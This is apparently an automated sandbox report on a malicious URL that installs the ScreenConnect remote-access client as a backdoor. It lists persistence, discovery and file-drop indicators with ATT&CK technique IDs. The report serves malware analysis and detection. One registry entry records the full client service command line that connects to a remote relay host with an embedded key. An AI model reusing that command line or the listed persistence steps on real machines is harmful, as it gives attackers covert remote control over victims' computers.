hxxps://adsdff[.]icu/d

Resubmissions

27/10/2026, 03:28

261027-d1rtssa18r8

27/10/2026, 02:18

261027-crcsvaz1hv10

Analysis

user interaction
yes
max time kernel
284s
max time network
283s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
27/10/2026, 03:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
https://adsdff.icu/d
Sample261027-d1rtssa18r

Score

8^/10

adware backdoor discovery persistence privilege_escalation ransomware rat spyware

Malware Config

Signatures

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
53	4304	msiexec.exe
55	4304	msiexec.exe
57	4936	rundll32.exe
200	5844	rundll32.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
8	4644	chrome.exe

Sets service image path in registry 3 TTPs 1 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (4375edbfb991f8ab)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (4375edbfb991f8ab)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=instance-pfve05-relay.screenconnect.com&p=443&s=8c2016e2-19f8-4f05-9215-5e14b1c7599a&k=BgIAAACkAABSU0ExAAgAAAEAAQDRgp6dNM4Qcmgszv6xxM2%2f%2fy6m1BicCu%2fkFRqISRObmeXX1eUJTAIDvGmZv1tYGllRtuNDZ1JrplgCP3QI1AN3pqtCheBzJGEF%2bEeQgCeFQ5vf6nfTqtkdMO60gYL7XNK5KM%2f8RoQk7snKudeeFqInUzRt%2bPxrkeDgvgJOAIVQYzllqE5f92TP1GHYQR0KuAccDj92vrRrRnrro2Q7S7CwlQ9wcsbgosvPRTkva9ZgqUAgeZC%2flUT5f%2fHpnebCGmLfWx4NhtrlgjARPHJ1R2mtrxgP27s%2foBZmvdt1VXT%2bHE14uEApNyQrx2JOQaSOTxLX4OR7u0J8JJLFgNUexOC2&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAaa2H0toWlEGhX8BQkSok9QAAAAACAAAAAAAQZgAAAAEAACAAAABhAPkvwElVR%2biHH6krh8ABF10sCMucctJ559uZprYZkwAAAAAOgAAAAAIAACAAAADVFsARrgE3%2bGvwQXXazL6bbvsN0BryhsEWIKNNa0QjqqAEAADezqr%2bM8HSg6zIoelMogqZ2etH8PMrl7cCHnJSBZGLRaXZq1wfm9LADmou%2bHIwjGRbsjulK6tjDkL8j3ihJjQxiLhH9mBoZHmCRrZfmyX68tVRmpRTIY78SdxWrNLGfKpklQx%2bGAGWtOkXH5X91%2b9jQmF83Ibwy9mRpZGR0oAN4A1IOWAy7n%2f5TsAZclq9CcmEdC5K5S2eH9P8Y%2biCR0btpuJb4pDPthEXc%2f0EoTJPByya3g7DMY18xuDTIkfOwx2wmKOgzbvOJf36xYyTsCdiQKawekPXgs2kRknu0gBa9CM6fK6OAxsMQKKsQR4DE0kICdmQ3A8Cmqe%2fUj%2fXLGP23pPM%2btzC%2bQOBFVubbNdzrMn9%2fAmvnqJgWHZ6h%2fzzv2keGgxvVrXMeqOfXdh%2fFJpUKxNaDndFS2AYBqBDOERGbzWsCNyiLSJWm53gTXb0dxM3vG8fJJwXyMTphqFbPyQoOuv1xR4Y10JP1C9eKmH%2bYqkWHbDI1ry7TSiLdPPP3Jm%2fQ0q3hd0i2stUb71U%2fH7xyFY5q6zahsuDiEuLvLdMEgJaUAPsg88AlJ7%2bo9R81Iuu8jCa4zyq%2bDV4NKF%2flCVSHmBIBgUu7kaxdNFSIRGutLObrGb8tOiBfohL3eScXoWe1ByjE6DmsbvYoTWXiyZ12oDw%2fnpCDOCoVnGHaANw0icYaPHSSMnsgZMMWzWzLsePXVeKnkUY2zbJj16P8RFsk08deqktel4q07VVIlj2Q31yx0GTWouyM%2f0mWj8NoYs7DjxSCCde5HiDximLIZTN75%2bzFOo%2fCb6zE1gXfErJFOwiIsFjixPxeh2TyNq2pMQwp5uMRalvOguvsm14Z8p4kiYI9id34DsOqAPNAIDTOOInjdGesTnpr8MZKufustDmzZKiMcdFC1rFhYMu0fRSzUQJA5b0TAKYdnTVUhMUAPiI0Yb12VB84NP9B9JUfbfFeKB0nEEoDkV4uzrXjbSMtFASxubbZyaXF%2fG9yh%2fDAqtc8FOQxnL6iL1XNZCo%2bvxJPmZvg6ZmGWKrv8JsZlSJqMHml%2buAPjUopToQJrasgHFKyRfBG5vlDe%2fmFCHpcqaySqilvYirdyS5lS8TcknJeK0y2ETnAqRy94LUBH6qDc3tJ85eyFHebcW5JRdJaUWLNIMO9Dx7HvqGXiI43DbBlWN5yB4gsOHbCM2H%2blAeCWMZwYydFmKQw4Bi9hQLJ3cxS6lav2hKwPQNgsmqSP4lhg60bN5vwVjjJTXmKZi96O8EkT51NI608%2fGLELcjggQUy03K0%2b6OQrz9KWeWTsHqUky7QP13J84QXomBlF4fbEd1hmSOhktW%2bobB8aEyhG7ODCWrxAsbH1kRTFej%2bTcbdqgMuqqI5W3l8Vn41sDgTeFGOqegr26UkxZRTsKw8905vvkKhDEOdjMUO%2fwVS4JWj6V1v3OT7Cm3tO4iTENU2yELDOtitAPsZ4ACww1OG7N2bepJwzfLKd9XHBtxsz1ZABWMFeY7iRSYuCE%2fkftxSlPL%2fZ9HuS6vFgftNb0xMf62tQSvRAvpUFW0YdtLjsRQ%2f5XLVSEAnCQPwKrIgSJTBEAAAAC3V9XyKZC7E3Qz%2bFro%2bvwhtxTFX6Lj1bj3jb10Cn7%2fjTjHb%2fdRdPioJ%2fxO3iHKpbKZWAEnOUfQze0jEs%2bHszbV\""	ScreenConnect.ClientService.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\Control Panel\International\Geo\Nation	ScreenConnect.ClientSetup.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\Control Panel\International\Geo\Nation	ScreenConnect.ClientSetup.exe

ConnectWise ScreenConnect remote access tool
ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.
backdoor rat
Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 5 IoCs

pid	Process
5436	ScreenConnect.ClientSetup.exe
3820	ScreenConnect.ClientService.exe
2216	ScreenConnect.WindowsClient.exe
1272	ScreenConnect.WindowsClient.exe
996	ScreenConnect.ClientSetup.exe

Loads dropped DLL 64 IoCs

pid	Process
4756	MsiExec.exe
3328	rundll32.exe
3328	rundll32.exe
3328	rundll32.exe
3328	rundll32.exe
3328	rundll32.exe
3328	rundll32.exe
3328	rundll32.exe
3328	rundll32.exe
3328	rundll32.exe
4756	MsiExec.exe
4936	rundll32.exe
4936	rundll32.exe
4936	rundll32.exe
4936	rundll32.exe
4936	rundll32.exe
4936	rundll32.exe
4936	rundll32.exe
4936	rundll32.exe
4936	rundll32.exe
4756	MsiExec.exe
1668	rundll32.exe
1668	rundll32.exe
1668	rundll32.exe
1668	rundll32.exe
1668	rundll32.exe
1668	rundll32.exe
1668	rundll32.exe
1668	rundll32.exe
1668	rundll32.exe
2668	MsiExec.exe
228	MsiExec.exe
3820	ScreenConnect.ClientService.exe
3820	ScreenConnect.ClientService.exe
3820	ScreenConnect.ClientService.exe
3820	ScreenConnect.ClientService.exe
3820	ScreenConnect.ClientService.exe
3820	ScreenConnect.ClientService.exe
3820	ScreenConnect.ClientService.exe
3820	ScreenConnect.ClientService.exe
3820	ScreenConnect.ClientService.exe
3820	ScreenConnect.ClientService.exe
1628	MsiExec.exe
2512	rundll32.exe
2512	rundll32.exe
2512	rundll32.exe
2512	rundll32.exe
2512	rundll32.exe
2512	rundll32.exe
2512	rundll32.exe
2512	rundll32.exe
2512	rundll32.exe
1628	MsiExec.exe
5844	rundll32.exe
5844	rundll32.exe
5844	rundll32.exe
5844	rundll32.exe
5844	rundll32.exe
5844	rundll32.exe
5844	rundll32.exe
5844	rundll32.exe
5844	rundll32.exe
1628	MsiExec.exe
2088	rundll32.exe

Enumerates connected drives 3 TTPs 64 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe

Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

Suspicious Windows Authentication Registry Modification.

persistence privilege_escalation

Authentication Package

T1547.002

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800340033003700350065006400620066006200390039003100660038006100620029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000	msiexec.exe

Drops file in System32 directory 10 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (4375edbfb991f8ab)\pup4eoze.tmp	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (4375edbfb991f8ab)\user.config	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (4375edbfb991f8ab)\ocpu5adw.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (4375edbfb991f8ab)\ocpu5adw.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (4375edbfb991f8ab)\ocpu5adw.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (4375edbfb991f8ab)\bzsthsgf.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (4375edbfb991f8ab)\pup4eoze.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (4375edbfb991f8ab)\pup4eoze.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ScreenConnect.WindowsClient.exe.log	ScreenConnect.WindowsClient.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (4375edbfb991f8ab)\bzsthsgf.tmp	ScreenConnect.ClientService.exe

Drops file in Program Files directory 16 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ScreenConnect Client (4375edbfb991f8ab)\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4375edbfb991f8ab)\Client.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4375edbfb991f8ab)\ScreenConnect.WindowsAuthenticationPackage.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4375edbfb991f8ab)\ScreenConnect.Core.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4375edbfb991f8ab)\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4375edbfb991f8ab)\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4375edbfb991f8ab)\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4375edbfb991f8ab)\Client.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4375edbfb991f8ab)\system.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4375edbfb991f8ab)\ScreenConnect.Client.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4375edbfb991f8ab)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4375edbfb991f8ab)\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4375edbfb991f8ab)\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4375edbfb991f8ab)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4375edbfb991f8ab)\ScreenConnect.WindowsCredentialProvider.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4375edbfb991f8ab)\ScreenConnect.WindowsFileManager.exe	msiexec.exe

Drops file in Windows directory 18 IoCs

description	ioc	Process
File created	C:\Windows\Installer\e59e43c.msi	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	\??\c:\windows\installer\{fcea725c-71bd-ec40-8cc2-69a352a2f654}\defaulticon	explorer.exe
File opened for modification	C:\Windows\Installer\e59e43c.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\SourceHash{FCEA725C-71BD-EC40-8CC2-69A352A2F654}	msiexec.exe
File created	C:\Windows\Installer\e59e43e.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\{FCEA725C-71BD-EC40-8CC2-69A352A2F654}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIF39C.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\{79D068F5-40E4-3614-A683-E351DF40BEBD}\icon.ico	explorer.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\Installer\{FCEA725C-71BD-EC40-8CC2-69A352A2F654}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIF40A.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE64F.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE75A.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE98D.tmp	msiexec.exe
File created	C:\Windows\Installer\wix{FCEA725C-71BD-EC40-8CC2-69A352A2F654}.SchedServiceConfig.rmi	MsiExec.exe
File opened for modification	C:\Windows\Installer\{FCEA725C-71BD-EC40-8CC2-69A352A2F654}\DefaultIcon	explorer.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Reads the TCP/IP host and domain name from the registry 1 TTPs 8 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	rundll32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	rundll32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	rundll32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	ScreenConnect.ClientService.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	ScreenConnect.ClientService.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	rundll32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	ScreenConnect.WindowsClient.exe

System Location Discovery: System Language Discovery 1 TTPs 17 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DllHost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientSetup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientSetup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4644	chrome.exe

Checks SCSI registry key(s) 3 TTPs 8 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 000000000400000095d3837de88660fc0000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff00000000270101000008000095d3837d0000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff00000000070001000068090095d3837d000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1a95d3837d000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1d95d3837d000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ScreenConnect.WindowsClient.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe

Modifies data under HKEY_USERS 16 IoCs

description	ioc	Process
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.WindowsClient.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\28\52C64B7E	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\29	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsClient.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe

Modifies registry class 64 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\3 = 14001f706806ee260aa0d7449371beb064c986830000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\Shell	explorer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C527AECFDB1704CEC82C963A252A6F45\Assignment = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C527AECFDB1704CEC82C963A252A6F45\DeploymentFlags = "3"	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\DisplayName = "Chrome Sandbox"	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\Moniker = "cr.sb.odm3E4D1A088C1F6D498C84F3C86DE73CE49F82A104"	chrome.exe
